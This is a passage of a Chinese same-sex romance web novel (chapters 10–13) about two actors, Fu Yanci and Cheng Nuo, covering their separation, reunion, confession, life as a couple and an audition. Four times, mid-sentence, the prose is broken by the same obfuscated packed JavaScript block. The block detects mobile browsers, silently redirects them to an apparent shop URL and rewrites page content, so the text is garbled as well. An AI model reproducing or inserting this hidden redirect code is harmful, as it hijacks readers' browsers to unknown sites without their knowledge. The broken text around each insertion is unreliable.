最终,傅晏辞只是抬起手,很轻、很快地揉了一下他的头发,动作自然得仿佛练习过无数次。 “走了。” 说完,他拉开门,走了出去。没有回头。 程诺站在门口,摸着自己刚刚被揉过的头发发顶,那里仿佛还残留着对方掌心的温度。没有拥抱,没有更进一步的承诺,只是一个简单的动作,却比任何告别都让他心跳失序。 门轻轻合上,隔绝了外面的世界。 程诺背靠着门板,慢慢滑坐到地上,把发烫的脸埋进膝盖里。 三个月。 他第一次觉得,时间会如此漫长。 …… 傅晏辞进组后的第一天,程诺睡到日上三竿才起。家里安静得能听到冰箱的嗡鸣,隔壁再也没有清晨的健身音乐和规律的脚步声。他望着天花板,一种巨大的、空落落的不习惯席卷了他。 他习惯性地走到门口,那里没有保温袋。他撇撇嘴,自己点了份外卖,吃起来却觉得味道平平。 接下来的几天,程诺试图回归他标准的咸鱼生活,却发现一切都不对劲了。漫画不香了,游戏没意思了,连躺着都觉得骨头缝里透着无聊。 傅晏辞在剧组很忙,有时在山里信号不好,回复消息并不及时。但只要信号允许,他总会抽空回复。可能是深夜下戏后的一句【刚收工,睡了?】,可能是凌晨妆发时的一张片场日出照片【这边天亮了】,也可能是简单汇报行程【今天转场,去B组拍摄】。 程诺开始守着手机,听到提示音就立刻拿起来看。如果不是傅晏辞,他会肉眼可见地蔫下去。林姐都看出来了,打趣他:“哟,我们诺诺这是得相思病了?” 程诺嘴硬:“谁、谁相思了!我就是……就是监督他有没有好好履行‘重新开始’的承诺!” 话虽如此,变化却在悄然发生。 以前傅晏辞逼他早起吃早餐,他怨声载道。现在没人逼了,他却偶尔会自己定个闹钟,爬起来煮个鸡蛋,热杯牛奶。虽然手艺惨不忍睹,鸡蛋经常煮老,牛奶有时会扑锅,但他会拍照发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102934|195756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给傅晏辞,配上一个得意的小表情:【看,我自己做的!】 傅晏辞的回复通常是:【嗯,进步很大。】或者【鸡蛋好像煮久了点。】后面跟着一个摸摸头的表情包。 以前傅晏辞严格控制他的饮食,他偷偷藏零食。现在没人管了,他反而会下意识地看看食品成分表,偶尔买点健康的零食,还会跟傅晏辞汇报:【今天吃了坚果,没吃薯片!】 他甚至……开始看傅晏辞的电影了。不是以前那种快进看看剧情,而是静下心来,一部一部地看,看他在不同的角色里绽放光彩。他不得不承认,工作中的傅晏辞,确实有着致命的吸引力。他会截图一些精彩的表演瞬间,发给傅晏辞,配上星星眼:【这段演得真好!】 傅晏辞有时会跟他讨论一下表演技巧,有时只是回一句:【谢谢肯定,程老师。】 这种隔着屏幕的、平淡又紧密的联系,成了程诺生活的新重心。他这条咸鱼,好像不知不觉间,开始尝试着在名为“思念”的海洋里,笨拙地扑腾起来,学着自律,学着分享,学着去更深入地了解那个已经走进他心里的人。 当然,也有闹笑话的时候。有一次,他学着视频想给傅晏辞做个便当(虽然根本送不过去),结果差点把厨房点着,灰头土脸地拍照给傅晏辞看事故现场。傅晏辞的电话立刻打了过来,语气难得严肃:“人没事吧?以后不许自己动明火!想吃什么等我回去给你做。” 程诺听着他紧张的声音,看着镜子里自己花猫一样的脸,却傻乎乎地笑了。 三个月的时间,就在这样每日的电波传递中,悄然流逝了一半。程诺的网剧播出了,反响不错,他那个活泼的咖啡师角色还挺讨喜,让他有了点小小的知名度。他兴奋地跟傅晏辞分享观众的好评,傅晏辞很认真地听了,然后说:“我说过,你很有潜力。” 这句话,比任何观众的赞美都让程诺开心。 一天晚上,程诺和傅晏辞视频通话。傅晏辞看起来有些疲惫,但眼神温和。他们聊着琐事,程诺兴奋地说着自己接下来的一个小通告。 傅晏辞安静地听着,忽然打断他,问:“程诺,我不在的这段时间,你有没有……遇到什么特别的人?” 程诺愣了一下,随即明白了他的意思,心里有点甜,又有点气他这么问。他故意板起脸:“有啊!可多了!送外卖的小哥都特别帅!” 傅晏辞在屏幕那头眯了眯眼,语气危险:“哦?” 程诺看他这样,忍不住笑了:“骗你的!除了你这个麻烦精,谁还能忍得了我这条咸鱼?”他顿了顿,收起玩笑,看着屏幕里傅晏辞的眼睛,轻声说:“傅晏辞,我好像……有点想你了。” 他说完,自己先不好意思了,眼神飘忽,耳朵尖悄悄红了。 视频那头,傅晏辞沉默了。隔着屏幕,程诺能看到他喉结滚动了一下,眼底像是有什么情绪在翻涌。过了好一会儿,他才用极其低沉、仿佛带着电流的声音说: “程诺,把刚才那句话,留到我回去,当面说给我听。” 程诺的心,因为他这句话,怦怦狂跳起来。 距离傅晏辞杀青回国,还有一个半月。 思念,从未如此具体而漫长。 而期待,也从未如此甜蜜而灼人。 11. 未完成的告白 一个半月的时间,说长不长,说短不短。程诺的生活仿佛被按下了快进键。他的小网剧播出后口碑不错,连带着几个小品牌的代言和杂志内页拍摄也找上门来。林姐忙得脚不沾地,脸上的笑容也多了起来。 程诺依然会跟傅晏辞分享工作中的点滴,但不再是单纯的抱怨或求表扬,而是多了几分自信和探讨。他会分析剧本里的人物心理,会跟傅晏辞讨论某个镜头怎么表现更好。傅晏辞总是很认真地倾听,偶尔给出专业的建议,更多时候是鼓励:“你的感觉是对的,按你的想法来。” 程诺能感觉到,傅晏辞在有意地引导他独立思考和成长。这种被尊重、被信任的感觉,比任何直接的帮助都让他受用。 傅晏辞的电影拍摄似乎进入了最紧张的阶段,联系频率比之前低了一些,有时两三天才有一个简短的报平安电话。程诺虽然想念,却也理解。他学会了不去过多打扰,只是在他认为傅晏辞可能收工的时间点,发一条简单的消息:【今天累不累?记得吃饭。】 没有立刻回复,他也不焦躁,继续忙自己的事。他这条咸鱼,好像真的在慢慢学会游泳,甚至开始享受在水中自主前行的感觉。 一天,程诺参加一个品牌活动,活动结束后被一群记者围住。问题大多围绕着他的新剧和未来的发展,还算友好。然而,一个不太友好的声音突然插了进来: “程诺先生,有传闻说您和傅晏辞老师其实早已分手,目前只是商业合作状态,请问这是真的吗?” 这个问题十分尖锐,现场气氛瞬间尴尬起来。林姐立刻想上前阻止,程诺却对她轻轻摇了摇头。 他看向那个提问的记者,脸上没有慌乱,反而露出一个平静甚至带着点无奈的笑容:“这位老师,您说的‘传闻’,我好像每个月都能听到一个新版本。”他语气轻松,带着点调侃的意味,引得周围其他记者也笑了起来,缓解了紧张气氛。 他没有直接否认,而是巧妙地避开了锋芒,继续说道:“我和傅老师都专注于各自的工作,感情是我们私人的事情,就不占用公共资源和大家的时间了。谢谢大家关心。” 回答得体,不卑不亢,既保护了隐私,又没给媒体留下炒作的空间。林姐在一旁暗暗点头,心想这孩子真是成长了不少。 活动结束后,程诺在回家的车上,才后知后觉地有点生气。不是气那个记者,而是气那些无中生有的传闻。他拿出手机,想跟傅晏辞吐槽,又想到他可能在忙,悻悻地放下了。 晚上,傅晏辞的电话却意外地打了过来,声音带着一丝不易察觉的疲惫,却又有种如释重负的轻松:“今天的活动,应对得很好。” 程诺一愣:“你看到了?” “嗯,杨姐跟我说了。”傅晏辞顿了顿,声音低沉了几分,“听到那种问题,不高兴了?” 程诺嘴硬:“谁不高兴了!我就是觉得……烦。” 傅晏辞在电话那头轻轻笑了一声:“不用理会。清者自清。” “你说得轻巧……”程诺嘟囔。 “程诺,”傅晏辞忽然唤他,语气变得郑重,“电影……提前杀青了。” 程诺的心脏猛地一跳,瞬间坐直了身体:“提前?什么时候?” “后天。”傅晏辞的声音里带着一丝笑意,“比原计划早了一周。” 巨大的惊喜像烟花一样在程诺脑海里炸开,他一时说不出话来,只会傻傻地重复:“后天?真的?” “嗯。后天下午的飞机。”傅晏辞顿了顿,声音透过电波,带着一种磁性的诱惑,“所以,你那天晚上……有空吗?” 有空!当然有空!就算没空也要把档期清空!程诺在心里疯狂呐喊,嘴上却还要强装镇定:“哦……我看看行程啊……嗯,好像……晚上没什么事。” 傅晏辞又低笑了一声,似乎看穿了他的口是心非:“好。那……后天见。” “后天见!” 挂了电话,程诺兴奋地在沙发上打了几个滚,抱着抱枕傻笑了半天。提前一周!这简直是他这段时间听到最好的消息! 然而,喜悦之余,一丝紧张又悄然爬上心头。后天晚上……傅晏辞让他当面说那句“我想你了”。到时候,他真的说得出口吗?傅晏辞又会是什么反应? 他们约定的“重新开始”,真的要来了。 …… 傅晏辞回来的那天,程诺起了个大早。他在衣柜前折腾了快一个小时,试了无数套衣服,总觉得不满意。太正式了显得刻意,太随意了又好像不够重视。最后,他选了一件看起来简单但有设计感的浅灰色卫衣和一条合身的牛仔裤,对着镜子照了又照,才勉强觉得可以。 一整个白天,他都坐立不安。看书看不进去,打游戏频频失误,眼神总是不自觉地瞟向墙上的时钟。他脑子里反复排练着晚上见到傅晏辞时该说什么,做什么表情。那句“我想你了”在唇齿间滚了无数遍,每次模拟都让他心跳加速。 下午四点,傅晏辞的航班准时落地。程诺戴上口罩帽子,全副武装地开车前往机场。他本来想低调地在地下停车场等,但鬼使神差地,还是把车停好,混在了接机的人群里。他想第一时间看到傅晏辞走出来。 国际到达口人山人海,有不少傅晏辞的粉丝举着灯牌和手幅,翘首以盼。程诺压低了帽檐,躲在人群后面,心里有点莫名的紧张,又有点隐秘的兴奋。 广播响起,航班抵达。人群开始骚动。程诺的心也跟着提了起来,眼睛紧紧盯着出口通道。 过了一会儿,熟悉的身影终于出现。傅晏辞穿着一身黑色休闲装,戴着鸭舌帽和口罩,身形挺拔,在助理和工作人员的护送下走了出来。即使遮挡得严实,那股鹤立鸡群的气质还是瞬间吸引了所有目光。粉丝们爆发出激动的尖叫和呼喊。 傅晏辞一边礼貌地朝粉丝方向挥手示意,一边脚步不停地往外走。他的目光在人群中快速扫过,像是在寻找什么。 程诺下意识地往后缩了缩,怕被他发现,又怕他发现不了。这种矛盾的心情让他手心都有些出汗。 就在傅晏辞即将走过他所在区域的时候,他的脚步忽然顿了一下,视线精准地穿过人群,落在了程诺身上。 四目相对。 隔着喧嚣的人群和一段距离,程诺看不清傅晏辞口罩下的表情,却能清晰地感受到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102935|195756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那道目光的锁定。那目光深沉、专注,带着一种穿越了时间和距离的复杂情绪,直直地撞进程诺心里。 程诺的心脏猛地一缩,呼吸都滞住了。 几乎就在视线对上的下一秒,程诺握在手里的手机屏幕亮了起来,是一条来自傅晏辞的微信消息: 【B2区,D-118车位,等我。】 傅晏辞没有停留,只是微不可察地对他点了点头,便被工作人员簇拥着继续往前走了。 程诺愣了一秒,立刻反应过来,赶紧压低帽子,逆着人流,快步往B2停车场走去。心跳得像擂鼓一样,又快又重。原来他连车停在哪里都提前告诉自己了! 走到D-118车位旁,他刚站定,平复了一下呼吸,就看到傅晏辞摆脱了人群,独自一人,步履匆匆地从电梯口方向走来。 他走到车边,很自然地拉开副驾驶的门坐了进来,顺手关上了车门。 狭小的车厢内,瞬间被对方身上熟悉的雪松味,混合着旅途的尘嚣气息填满。 世界一下子安静了。隔绝了外面的喧嚣,只剩下彼此有些急促的呼吸声。 程诺转过头,看向摘下口罩的傅晏辞。他看起来瘦了一点,轮廓更显分明,眼下有淡淡的疲惫,但那双眼睛却亮得惊人,正一瞬不瞬地看着他。 “你……你怎么这么快?”程诺有点结巴,没想到他甩开粉丝和工作人员的速度这么快。 “看到你了,就让他们走了另一边通道。”傅晏辞的声音因为长时间飞行有些低哑,却带着一种颗粒感的磁性,敲在程诺心上。 程诺的脸“唰”一下就红了。所以他刚才果然是在找自己!而且还提前计划好了汇合点! “路上顺利吗?”程诺没话找话,试图缓解这过分暧昧和紧张的气氛。 “嗯。”傅晏辞应了一声,目光依旧锁在他脸上,像是要把这将近三个月没见的面孔仔细看个够,“你呢?这段时间,还好吗?” “还、还好。”程诺被他看得浑身不自在,眼神飘忽,就是不敢与他对视。 车厢内又陷入一种微妙的沉默。空气仿佛都变得粘稠起来。程诺能清晰地听到自己如雷的心跳声,那句排练了无数遍的“我想你了”卡在喉咙里,怎么也说不出口。 傅晏辞忽然倾身过来。 程诺吓得往后一缩,背紧紧贴在座椅上。 傅晏辞却只是伸手,轻轻拉过安全带,“咔哒”一声帮他系好。他的手臂擦过程诺的胸前,距离近得能感受到彼此的体温。 “走吧。”傅晏辞坐回原位,系好自己的安全带,语气恢复了平时的自然,仿佛刚才那个近乎拥抱的动作只是顺手而为,“先离开这里。” 程诺愣愣地点头,发动了车子。手心里全是汗。 车子缓缓驶出停车场,汇入车流。夕阳的余晖透过车窗洒进来,给傅晏辞的侧脸镀上了一层温暖的金色。 程诺偷偷用余光瞄他,发现傅晏辞正看着窗外,嘴角似乎带着一抹极淡的、若有似无的笑意。 那句没能说出口的告白,似乎……也没那么着急了。 重逢,比想象中更令人心动。 12. 晏诺CP感情稳定,细水长流 车子平稳地驶向市区。晚高峰的车流如织,车厢内却保持着一种奇异的静谧。程诺专注地看着前方路况,实际上全身的感官都在捕捉身边人的动静。傅晏辞似乎有些疲惫,靠在椅背上,闭目养神,但程诺能感觉到,他并没有睡着。 “直接回家?”程诺试探着问,声音在安静的车厢里显得格外清晰。 “嗯。”傅晏辞应了一声,眼睛依旧闭着,“先回去放行李。” “哦。”程诺心里有点小小的失落,又有点松了口气。直接回家,意味着那个“当面说”的场合可能不会立刻发生。他还没准备好。 一路无话。直到车子驶入地下车库,停稳,傅晏辞才睁开眼,眼神已经恢复了清明。他解开安全带,很自然地伸手过来,揉了揉程诺的头发:“车技有进步,开得很稳。” 这个突如其来的亲昵动作让程诺僵了一下,耳根瞬间红了,嘴上却逞强:“我一直开得很稳好不好!” 傅晏辞低笑一声,没反驳,下车去拿行李。 两人一前一后走上楼,气氛微妙。打开家门,熟悉的温暖气息扑面而来。程诺看着傅晏辞将行李箱放在玄关,一种“他真的回来了”的实感才终于落定。 “你……你先洗个澡放松一下吧?飞了那么久肯定累了。”程诺主动说道,试图扮演一个体贴的……室友? 傅晏辞看了他一眼,目光深邃:“好。那我先回那边收拾一下。”他指的是隔壁自己家。 程诺点点头,看着傅晏辞拉开门走了出去。门关上的瞬间,他心里又空了一下。他甩甩头,决定自己也去洗个澡冷静一下。 程诺心不在焉地拿着换洗衣物走进浴室,打开花洒,温热的水流冲刷下来,却冲不散心里的纷乱思绪。他满脑子都是傅晏辞在机场看他的眼神,车上帮他系安全带的靠近,还有刚才揉他头发时指尖的温度…… 他洗得磨磨蹭蹭,直到皮肤都有些发皱才关掉水。擦干身体,准备穿衣服时,他才猛地发现——他拿错了!他拿进来的是一件穿旧了、领口都有些松垮的T恤和一条运动短裤,这根本就不是他原本想穿的那套! 一定是刚才心神不宁拿错了!程诺看着镜子里自己头发滴水、裹着浴巾的狼狈样子,欲哭无泪。现在怎么办?难道裹着浴巾出去换衣服?太尴尬了! 就在他纠结万分时,浴室门被轻轻敲响了。 “程诺?”是傅晏辞的声音,他似乎已经很快地收拾完回来了,“我忘了带剃须刀,可以用一下你的吗?” 程诺心里一慌,下意识地回答:“啊?哦,可以!在镜子后面的柜子里,你自己拿!”他说完就后悔了!他现在这个样子怎么见人! 门外安静了一下,随即门把手被拧动。程诺吓得魂飞魄散,赶紧手忙脚乱地把浴巾裹紧,背对着门口,结结巴巴地说:“你、你等一下!我还没穿好衣服!” 门已经开了一条缝,傅晏辞的身影出现在门口。他似乎也没料到是这种情况,动作顿住了。氤氲的水汽尚未完全散去,空气中弥漫着沐浴露的清香,程诺背对着他,裸露的肩背线条清晰,湿漉漉的头发贴在颈后,水滴顺着脊背滑落,没入腰间的浴巾里…… 傅晏辞的呼吸几不可察地一滞,眼神瞬间暗沉了下来。他飞快地移开视线,声音比平时沙哑了几分:“抱歉,我不知道你还在……”他退后一步,似乎想关上门。 “没关系!”程诺赶紧喊道,声音都变了调,“你拿吧!我、我马上好!”他恨不得找个地缝钻进去。 傅晏辞沉默地走进来,打开镜柜,拿出剃须刀。他的动作很快,但程诺能感觉到他的目光似乎不经意地扫过自己的后背,那视线像带着温度,让他从脊椎到头皮都是一阵酥麻。 拿到剃须刀,傅晏辞几乎是立刻转身离开,顺手带上了门,留下一句:“我出去等你。” 浴室门关上,程诺腿一软,差点坐在地上。他捂住发烫的脸,心脏狂跳得快要冲出胸腔。刚才那一瞬间的尴尬和……莫名的暧昧,几乎让他窒息。 他飞快地套上那身拿错的旧衣服,做贼似的溜出浴室。傅晏辞正站在客厅窗边,背对着他,望着窗外的夜景,手里拿着水杯,指节微微泛白。 听到动静,他转过身,脸上已经恢复了平静,只是眼神深处似乎还残留着一丝未褪去的波澜。 “洗好了?”他问,语气寻常。 “嗯。”程诺低着头,不敢看他,声音像蚊子哼哼。 傅晏辞走到他面前,停下脚步。两人之间的距离很近,程诺能闻到他身上刚刚沐浴后的、和自己同款却似乎更清冽一些的沐浴露香气。 “现在,”傅晏辞低头看着他湿漉漉的、发红的耳尖,声音低沉而缓慢,带着一种不容回避的力道,“可以说了吗?” 程诺的心脏猛地一跳,抬起头,撞进傅晏辞那双深邃得仿佛能吸走人灵魂的眼睛里。所有的准备,所有的排练,在这样专注的凝视下,都化为乌有。 他张了张嘴,那句练习了无数次的话,在舌尖滚了又滚,最终,伴随着剧烈的心跳和微微颤抖的声音,轻轻地、却清晰地吐露出来: “傅晏辞……我、我想你了。” 说完这句话,程诺像是用尽了全身力气,脸颊红得几乎要滴出血来,眼神慌乱地想要躲闪。 傅晏辞没有立刻说话。他只是静静地看着他,看着眼前这个从头发丝到脚趾尖都透着紧张和害羞的青年,眼底的情绪如潮水般翻涌,最后凝聚成一种近乎温柔的坚定。 他伸出手,没有揉他的头发,而是轻轻捧住了他的脸,指尖温热,带着一丝不易察觉的颤抖。 “我也想你。”傅晏辞的声音低沉而郑重,每一个字都敲在程诺的心上,“每一天。” 然后,他低下头,吻住了程诺因为惊讶而微微张开的唇。 这个吻,温柔而克制,却带着积攒了数月的思念和确认,瞬间点燃了空气中所有暧昧的火星。 程诺的大脑一片空白,只剩下唇瓣上柔软而灼热的触感,以及耳边如同雷鸣般的心跳声——分不清是他的,还是傅晏辞的。 一吻结束,程诺的脸红得像熟透的番茄,眼神湿漉漉的,带着点懵懂和难以置信。傅晏辞的额头轻轻抵着他的,呼吸还有些不稳,捧着他脸的手却没有松开,拇指下意识地摩挲着他的脸颊。 “现在,”傅晏辞的声音低哑,带着笑意,“我有名分了吗?程老师。” 程诺被他这话逗得又想笑又害羞,轻轻推了他一下:“谁、谁要给你名分……”语气却是软的,没有一点威慑力。 傅晏辞低笑,顺势将他揽进怀里。这是一个实实在在的拥抱,紧密,温暖,带着不容置疑的占有欲。程诺僵了一下,随即放松下来,把发烫的脸埋在他肩窝,嗅着他身上令人安心的气息,心里被一种巨大的、饱胀的幸福填满。 原来,两情相悦是这种感觉。 …… 关系的确立,并没有立刻让生活天翻地覆。他们依然是邻居,依然有各自的工作。但有些东西,确确实实地改 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102936|195756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 变了。 比如,傅晏辞的“管控”变得名正言顺,甚至变本加厉。 “程诺,十一点了,该睡觉了。”傅晏辞的信息准时发来,附带着一张他自己已经躺在床上的照片(虽然只拍了台灯和被子一角)。 程诺正打到游戏关键处,回复:【马上!这局赢了就睡!】 五分钟后,门铃响了。程诺跑去开门,傅晏辞穿着睡衣站在门口,面无表情:“‘马上’是多久?需要我监督吗?” 程诺:“……”只好乖乖存盘关机。 又比如,早餐不再是放在门口的保温袋,而是变成了傅晏辞直接登门,系上围裙,在他的小厨房里煎蛋、烤面包。程诺睡眼惺忪地坐在餐桌前,看着那个高大挺拔的身影为他忙碌,有种不真实的感觉。 “看什么?吃饭。”傅晏辞把牛奶推到他面前。 程诺咬着面包,含糊不清地说:“就是觉得……你好像个田螺姑娘。” 傅晏辞挑眉:“田螺姑娘是女的。” “那就……田螺公子?”程诺自己先笑了。 当然,程诺这条咸鱼,也开始尝试“反管控”。 傅晏辞工作回来晚,程诺会提前点好外卖(当然是经过“审核”的相对健康款),然后发消息:【傅公子,晚膳已备好,记得用哦~】后面跟着一个贱兮兮的表情包。 傅晏辞看书或者看剧本时,程诺会蹭过去,像只猫一样窝在他旁边的沙发里,不一定说话,就是陪着。有时候看着看着自己先睡着了,醒来发现身上盖着傅晏辞的外套,而傅晏辞还在灯下专注地工作,侧脸认真好看。程诺会偷偷拿出手机,拍下他的侧影。 最让程诺得意的一次“反击”,是他发现傅晏辞其实有点怕黑。某天晚上小区临时检修停电,一片漆黑。程诺听到对门有细微的动静,立刻拿着手机手电筒摸了过去,敲开门,看到傅晏辞虽然强装镇定但脸色明显有些发白。 程诺强忍着笑,一本正经地伸出手:“傅老师,怕黑吗?需要我保护你吗?” 傅晏辞瞪了他一眼,但黑暗中,还是默默握住了他伸过来的手。手心有点凉。程诺心里软得一塌糊涂,反手紧紧握住他,用手机照着路,把他“领”回了自己家,点上蜡烛,两人靠在一起聊天,直到来电。 这件事后来成了程诺时不时拿出来“调侃”傅晏辞的把柄,而傅晏辞每次都会用更“严厉”的管控来“报复”,比如没收他藏起来的零食,或者增加半小时的“强制散步”时间。 这种你来我往的“较量”,成了他们之间独特的情趣。 外界也敏锐地察觉到了变化。他们不再需要刻意“表演”,但同框时眼神的交汇、下意识的靠近、以及程诺偶尔流露出的、带着点小得意的依赖,都让CP粉们嗑生嗑死。媒体也不再追问是否分手,转而开始报道“晏诺CP感情稳定,细水长流”。 生活仿佛驶入了一条平静而温暖的河流。程诺依然有点咸鱼,但不再是完全躺平,他开始更认真地对待工作,因为不想被傅晏辞甩下太远。傅晏辞依然自律严谨,但脸上冷硬的线条柔和了许多,偶尔甚至会被程诺的无厘头逗得开怀大笑。 一天晚上,程诺靠在傅晏辞怀里看电影,昏昏欲睡时,忽然迷迷糊糊地问:“傅晏辞,我们现在这样……算不算是‘重新开始’成功了?” 傅晏辞低头,看着怀里毛茸茸的脑袋,吻了吻他的发顶,声音温柔而肯定: “嗯。成功了。” 而且,远比想象中更好。 13. 咸鱼跃龙门 日子在甜腻琐碎的日常中滑过,直到一则重磅消息如同投入湖面的巨石,打破了表面的平静——傅晏辞主演的电影《追雪》入围了国内最具分量的金梧桐电影节最佳男主角提名! 消息一出,全网沸腾。傅晏辞的演技和敬业有目共睹,此次提名被视为众望所归,是他迈向实力派演员的重要里程碑。祝贺的电话、信息蜂拥而至,媒体更是闻风而动,试图挖掘一切相关细节。 程诺是第一时间从傅晏辞那里得知这个消息的。当时傅晏辞刚和导演通完电话,表情看起来很平静,但眼底闪烁的光芒泄露了他内心的激动。 “恭喜你!傅老师!”程诺由衷地为他高兴,比自己拿了奖还兴奋,跳起来就想给他一个拥抱。 傅晏辞接住他,揉了揉他的头发,语气却带着一丝不易察觉的复杂:“谢谢。不过接下来一段时间,可能会比较忙。” 何止是忙。提名意味着无数的专访、宣传活动、品牌邀约,以及电影节前夕的紧张筹备。傅晏辞的时间被精确到分钟,经常凌晨才回家,天不亮又出门。即使同住对门,程诺见到他的次数也屈指可数。 程诺理解这是傅晏辞事业的关键时刻,他努力扮演好一个“贤内助”的角色,不抱怨,不打扰,只是在傅晏辞深夜归来时,给他留一盏灯和一碗温在锅里的汤。但看着网络上、电视里,傅晏辞光芒万丈地站在聚光灯下,与顶尖导演、演员谈笑风生,而自己却仿佛被隔绝在他的世界之外,一种微妙的距离感悄然滋生。 这种距离感,在一次电影节相关的高端酒会邀请函送到程诺手上时,达到了顶峰。那是一个需要携带伴侣出席的场合。程诺看着那张制作精美的邀请函,心里五味杂陈。他去,意味着要正式以“傅晏辞伴侣”的身份,踏入那个他完全陌生的、属于傅晏辞的顶级圈子;他不去,又显得怯场,可能还会引来不必要的猜测。 傅晏辞看出他的犹豫,握着他的手说:“不想去就不去,没关系。那种场合确实没什么意思。” 他的体贴反而让程诺更不是滋味。他不想永远只是被保护、被安置在舒适区的那一个。他想起林姐之前半开玩笑半认真说的话:“诺诺,傅老师越走越高,你也得加把劲啊,不然差距越来越大,以后共同话题都少了。” 以前程诺可以一笑置之,但现在,这句话像根刺一样扎在他心里。他看着镜子里穿着普通T恤、头发睡得翘起的自己,又看了看网上傅晏辞西装革履、从容矜贵的照片,第一次如此清晰地意识到,他们之间,确实存在着一条需要他努力才能跨越的鸿沟。 “我去。”程诺深吸一口气,对傅晏辞说,眼神里带着一种罕见的坚定,“我要去。” 傅晏辞有些意外,但看到程诺眼中的光芒,他笑了笑,点头:“好。那我让造型团队帮你准备。” 酒会那天,程诺被打扮得焕然一新。合身的定制西装勾勒出他清瘦的身形,发型精心打理过,露出光洁的额头和明亮的眼睛。他站在镜子前,几乎认不出自己。 傅晏辞看着他,眼中闪过毫不掩饰的惊艳,低声在他耳边说:“很帅。” 程诺的脸红了,但心里却鼓起了勇气。 酒会现场星光熠熠,觥筹交错。程诺亦步亦趋地跟在傅晏辞身边,努力保持着得体的微笑。傅晏辞游刃有余地周旋于各界名流之间,不时体贴地向旁人介绍程诺,化解他的尴尬。但程诺依然能感受到一些或好奇、或打量、甚至带着些许审视的目光落在自己身上。他听得懂那些关于他“运气好”、“借光上位”的低声议论。 如果是以前,他可能会自卑、会退缩。但此刻,看着身边傅晏辞从容自信的侧影,一种前所未有的决心在程诺心中升起。他不要只做依附于傅晏辞的藤蔓,他也要成为能与他并肩而立的树。 酒会中途,程诺去洗手间,出来时正好听到两个陌生人在闲聊,话题似乎围绕着一部即将启动的大制作电影,正在寻找合适的年轻演员。 鬼使神差地,程诺停下脚步,认真听了几句。回到傅晏辞身边后,他小声问:“傅晏辞,你听说过王导那部《无声之境》吗?” 傅晏辞有些惊讶地看了他一眼:“听说过,是个很好的本子,要求很高。你怎么知道?” “刚才偶然听到的。”程诺的眼睛亮晶晶的,“我觉得……那个故事很有意思。” 傅晏辞深深地看着他,仿佛明白了什么。他揽过程诺的肩膀,语气温柔而充满力量:“感兴趣的话,回去我把剧本找来给你看看。王导是我朋友,如果你想试试,我可以帮你引荐。” 程诺用力点头,心脏因为期待和紧张而怦怦直跳。他知道这条路会很难,但他想试一试。不是为了追上傅晏辞的脚步,而是为了成为更好的自己,为了能够真正地、平等地站在他身边。 金梧桐的光环照亮了傅晏辞的前路,也意外地照出了程诺内心想要努力的方向。 咸鱼,似乎终于下定决心,要试着跃一次龙门了。 程诺拿到《无声之境》的剧本后,几乎废寝忘食地钻了进去。这是一个与他以往饰演过的所有角色都截然不同的挑战——他需要扮演一个患有失语症的年轻画家,内心世界丰富,却无法用语言表达,极度依赖眼神、微表情和肢体动作。 这对演技的要求极高。程诺第一次深切地感受到自己能力的不足。他对着镜子练习,一遍遍揣摩那种渴望表达却被禁锢的痛苦,常常练到表情僵硬,身心俱疲。 傅晏辞没有过多干涉,只是在他困惑时给予点拨,在他气馁时默默递上一杯温水,或者强行拉他出门散步透气。他的支持是沉静的,却给了程诺莫大的底气。 “不用想着一步到位,”傅晏辞对他说,“把你理解的角色,真诚地表达出来就好。” 试镜那天,程诺紧张得手心冰凉。等候室里坐满了颇具实力的竞争者,其中不乏科班出身的年轻演员。程诺深吸一口气,努力回忆着傅晏辞的镇定。 轮到他进去,面对导演和制片人审视的目光,程诺的心跳到了嗓子眼。他摒弃杂念,将自己完全沉浸到那个无声的世界里。他没有说一句台词,只是用眼神传达着喜悦、悲伤、愤怒和祈求。一段无声的表演结束,他后背已经被汗水浸湿。 导演王导摸着下巴,看不出喜怒,只是淡淡地说:“好了,回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102937|195756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去等消息吧。” 程诺鞠躬退出,心里七上八下。他知道自己尽力了,但结果如何,只能听天由命。 